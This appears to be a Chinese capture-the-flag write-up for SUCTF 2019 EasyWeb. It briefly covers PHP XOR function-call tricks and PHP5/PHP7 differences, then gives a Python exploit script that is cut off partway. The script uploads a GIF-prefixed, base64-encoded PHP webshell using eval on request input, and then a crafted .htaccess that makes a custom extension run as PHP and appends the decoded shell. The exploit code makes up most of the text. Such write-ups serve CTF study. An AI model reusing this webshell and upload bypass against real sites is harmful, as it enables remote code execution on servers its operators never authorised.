(这周确实划水严重
[SUCTF 2019]EasyWeb php异或
异或实现调用函数
文件上传及绕过 .htaccess
bypass disable_function
收获
PHP5与PHP7
在PHP5中,assert()是一个函数,可以使用 = a s s e r t ; _=assert; =assert;_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。
在PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写(‘phpinfo’)();
刚开始一直用php5的版本导致没成功
import requests
import base64
shell = b'GIF89a12' + base64.b64encode(b"<?php eval($_REQUEST['aaa']);?>")
url = "http://7a6d6a7e-86d2-46b8-9c9c-9bd316408d7b.node4.buuoj.cn/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag"
files = {
'file':('123.aszxc',shell,'image/jpeg')}
data = {
"upload_test":"Submit_test"}
r = requests.post(url=url,data=data,files=files)
print(r.text)
htaccess = b'''
#define width 1337
#define height 1337
AddType application/x-httpd-php .aszxc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_8d417bc0aa101d705aea19b3653e6b6c/123.aszxc"
'''
url = "http://7a6d6a7e-86d2-46b8-9c9c-9bd316408d7b.node4.buuoj.cn/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag"
files = {
'file':('.htaccess',htaccess,'image/jpeg')}
data